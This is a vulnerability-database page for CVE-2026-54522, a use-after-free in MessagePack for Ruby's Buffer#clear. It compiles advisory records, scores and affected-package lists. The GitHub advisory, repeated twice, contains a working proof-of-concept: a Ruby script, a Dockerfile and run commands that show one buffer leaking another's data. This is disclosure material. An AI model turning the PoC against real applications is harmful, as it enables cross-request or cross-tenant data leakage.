Every CVE Search/ Get API key

CVE-2026-54522

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

2.1 LowFix available

MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
Low
Integrity
None
Availability
None

Exploit likelihood

0.23%Up 0.1 points since Jul 31, 2026
90%50%10%1%

What each source reports

CVE List Score used 2.1

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.

Record
CVE-2026-54522
CVSS 4.0
2.1 LowCVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-416
Updated
2026-11-02
EUVDEUVD-2026-51235 2.1

MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.

Record
EUVD-2026-51235
CVSS 4.0
2.1 LowCVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-4mrv-5p47-p938 2.1

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

  • msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
  • Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
  • A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
  • Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Record
GHSA-4mrv-5p47-p938
CVSS 4.0
2.1 LowCVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-416
Updated
2026-11-02
NVD 2.1

MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.

Record
CVE-2026-54522
CVSS 4.0
2.1 LowCVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Weakness
CWE-416
Updated
2026-11-02
OSV 2.1

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.

Record
CVE-2026-54522
CVSS 4.0
2.1 LowCVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-416
Updated
2026-11-02
OSVDEBIAN-CVE-2026-54522 5.4

MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.

Record
DEBIAN-CVE-2026-54522
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Updated
2026-11-02
Show 7 moreShow less
OSVGHSA-4mrv-5p47-p938 2.1

MessagePack::Buffer#clear Use-After-Free that Enables Cross-Buffer Disclosure

Summary

MessagePack::Buffer#clear shifts out every chunk and returns its 4 KiB rmem page to the shared pool, but does not reset the buffer's rmem cursor (rmem_last, rmem_end, rmem_owner). The next write sees "unused rmem space" left over from the freed page and hands back a slice of memory that has already been returned to the pool. A second MessagePack::Buffer then re-acquires that same page, so reading the cleared-and-rewritten buffer discloses the second buffer's bytes — a same-process use-after-free with cross-buffer information disclosure (and the symmetric write-corruption).

Details

  • msgpack_buffer_clear() → _msgpack_buffer_shift_chunk() (ext/msgpack/buffer.c:151, :128) destroys chunks (_msgpack_buffer_chunk_destroy, :58, returns the page via msgpack_rmem_free) but resets only tail_buffer_end/read_buffer, leaving rmem_last/rmem_end/rmem_owner pointing into the freed page.
  • Next Buffer#write → _msgpack_buffer_chunk_malloc() reuse branch (:363) returns b->rmem_last, a pointer into the already-freed page.
  • A second buffer's first write calls msgpack_rmem_alloc() and gets the same physical page back from the pool → the two buffers alias the same memory.
  • Sanitizer note: rmem (ext/msgpack/rmem.h) recycles pages with a slab bitmask, not free(), so a stock ASAN build does not abort; the cross-buffer disclosure below is the proof.

PoC

Single self-contained script (builds msgpack from rubygems with AddressSanitizer, then runs the PoC):

set -e
WORK="$(mktemp -d)"; cd "$WORK"

# 1) PoC
cat > poc.rb <<'RUBY'
b1 = MessagePack::Buffer.new(nil, write_reference_threshold: 256)
b1.write('M' * 1000); b1.write('A' * 200); b1.write('N' * 1000)
b1.clear
b1.write('C' * 128)
secret = ('s' * 200) + ('ABCD' * 32) + ('t' * 400)
b2 = MessagePack::Buffer.new(nil, write_reference_threshold: 4096)
b2.write(secret)
leaked = b1.read_all
donor  = b2.read_all
puts 'b1_first64:' + leaked.byteslice(0, 64)
puts 'b2_donor64:' + donor.byteslice(200, 64)
puts 'leaked_is_C:' + (leaked == 'C' * 128).to_s
puts 'cross_buffer_match:' + (leaked == donor.byteslice(200, 128)).to_s
RUBY

# 2) ASAN build of msgpackfrom rubygems
cat > Dockerfile <<'DOCKER'
FROM ruby:3.3-bookworm
RUN apt-get update && apt-get install -y --no-install-recommends build-essential libasan8 && rm -rf /var/lib/apt/lists/*
RUN gem fetch msgpack -v 1.8.1 && gem unpack msgpack-1.8.1.gem && \
    cd msgpack-1.8.1/ext/msgpack && \
    MSGPACK_DEBUG=1 ruby extconf.rb --with-cflags='-O0 -g -fsanitize=address -fno-omit-frame-pointer' --with-ldflags='-fsanitize=address' && \
    make -j"$(nproc)" && cp msgpack.so ../../lib/msgpack/msgpack.so
DOCKER
docker build -t msgpack-asan-poc .

# 3) Run under ASAN
docker run --rm -v "$WORK/poc.rb:/poc.rb:ro" msgpack-asan-poc \
  bash -c 'export LD_PRELOAD=$(gcc -print-file-name=libasan.so); export ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1; RUBYLIB=/msgpack-1.8.1/lib ruby -rmsgpack /poc.rb'

Expected output:

b1_first64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
b2_donor64:ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD
leaked_is_C:false
cross_buffer_match:true

Impact

Same-process cross-buffer information disclosure and corruption: after clear + reuse, one MessagePack::Buffer aliases another's memory, leaking or overwriting serialized data that may belong to a different request or tenant. Requires direct use of the MessagePack::Buffer API with a clear/reuse lifecycle (a supported performance pattern); not reachable from a plain unpack byte stream. Real-world severity Low–Medium; clear memory-safety defect with a small, localized fix.

Credit

Pranjali Thakur - depthfirst (depthfirst.com)

Record
GHSA-4mrv-5p47-p938
CVSS 4.0
2.1 LowCVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-416
Updated
2026-11-02
OSVOESA-2026-3219 7.3

rubygem-msgpack security update

MessagePack is a binary-based efficient object serialization library. It enables to exchange structured objects between many languages like JSON. But unlike JSON, it is very fast and small.

Security Fix(es):

Affected versions of this package are vulnerable to Use After Free in the clear function. An attacker can access or manipulate memory contents from another buffer by triggering the reuse of a memory page after it has been returned to the shared pool, leading to unintended disclosure or modification of data.(CVE-2026-54522)

Record
OESA-2026-3219
CVSS 3.1
7.3 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Updated
2026-11-02
OSVOESA-2026-3220 7.3

rubygem-msgpack security update

MessagePack is a binary-based efficient object serialization library. It enables to exchange structured objects between many languages like JSON. But unlike JSON, it is very fast and small.

Security Fix(es):

Affected versions of this package are vulnerable to Use After Free in the clear function. An attacker can access or manipulate memory contents from another buffer by triggering the reuse of a memory page after it has been returned to the shared pool, leading to unintended disclosure or modification of data.(CVE-2026-54522)

Record
OESA-2026-3220
CVSS 3.1
7.3 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Updated
2026-11-02
OSVOESA-2026-3221 7.3

rubygem-msgpack security update

MessagePack is a binary-based efficient object serialization library. It enables to exchange structured objects between many languages like JSON. But unlike JSON, it is very fast and small.

Security Fix(es):

Affected versions of this package are vulnerable to Use After Free in the clear function. An attacker can access or manipulate memory contents from another buffer by triggering the reuse of a memory page after it has been returned to the shared pool, leading to unintended disclosure or modification of data.(CVE-2026-54522)

Record
OESA-2026-3221
CVSS 3.1
7.3 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Updated
2026-11-02
OSVUBUNTU-CVE-2026-54522 2.1

MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.

Record
UBUNTU-CVE-2026-54522
CVSS 4.0
2.1 LowCVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Updated
2026-11-02
OSVAZL-109539 No score

CVE-2026-54522 affecting package python-msgpack 1.0.5-3

MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.

Record
AZL-109539
Updated
2026-11-02
OSVAZL-94449 No score

CVE-2026-54522 affecting package rubygem-msgpack for versions less than 1.8.4-1

MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.

Record
AZL-94449
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
msgpack
RubyGems
through 1.8.1
1.8.2
python-msgpack
Azure Linux:3
through 1.0.5-3 None known
rubygem-msgpack
Azure Linux:3
before 1.8.4-1
1.8.4-1
ruby-msgpack
Debian:12
All versions, plus listed versions
1.4.2-21.7.2-11.7.2-1.11.8.0-11.8.3-11.8.4-11.8.5-1
None known
ruby-msgpack
Debian:13
All versions, plus listed versions
1.7.2-1.11.8.0-11.8.3-11.8.4-11.8.5-1
None known
ruby-msgpack
Debian:14
before 1.8.3-1, plus listed versions
1.7.2-1.11.8.0-1
1.8.3-1
msgpack
RubyGems
before 1.8.2, plus listed versions
0.0.10.2.00.2.10.2.20.3.0
Show 45 moreShow less
0.3.10.3.20.3.30.3.40.3.50.3.60.3.70.3.80.3.90.4.00.4.10.4.20.4.30.4.40.4.50.4.60.4.70.5.00.5.10.5.100.5.110.5.120.5.20.5.30.5.40.5.50.5.60.5.70.5.80.5.90.6.00.6.0pre10.6.10.6.20.7.00.7.0dev10.7.10.7.20.7.2dev10.7.30.7.40.7.50.7.61.0.01.0.1
1.8.2
rubygem-msgpack
openEuler:24.03-LTS-SP4
before 1.8.3-1.oe2403sp4
1.8.3-1.oe2403sp4
rubygem-msgpack
openEuler:24.03-LTS-SP1
before 1.8.3-1.oe2403sp1
1.8.3-1.oe2403sp1
rubygem-msgpack
openEuler:24.03-LTS-SP3
before 1.8.3-1.oe2403sp3
1.8.3-1.oe2403sp3
Show 6 moreShow less
Affected packages
PackageAffectedFixed
ruby-msgpack
Ubuntu:16.04:LTS
All versions, plus listed versions
0.6.2-1build10.6.2-1build20.6.2-1build30.6.2-1build4
None known
ruby-msgpack
Ubuntu:18.04:LTS
All versions, plus listed versions
1.0.0-11.1.0-11.1.0-1build11.1.0-1build2
None known
ruby-msgpack
Ubuntu:20.04:LTS
All versions, plus listed versions
1.1.0-1build21.1.0-1build3
None known
ruby-msgpack
Ubuntu:22.04:LTS
All versions, plus listed versions
1.1.0-2build11.1.0-2build21.4.2-2
None known
ruby-msgpack
Ubuntu:24.04:LTS
All versions, plus listed versions
1.4.2-2build21.4.2-2build31.4.2-2build4
None known
ruby-msgpack
Ubuntu:26.04:LTS
All versions, plus listed versions
1.7.2-1.11.8.0-1
None known

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-54522 is a low vulnerability (CVSS 2.1) in Msgpack Messagepack, published July 30, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.23%, the 13th percentile. Fixed in msgpack 1.8.2.

References

Show 8 moreShow less
This page doesn't list everything

Left out here: 43 versions. The JSON record has them.

MoveEnter Open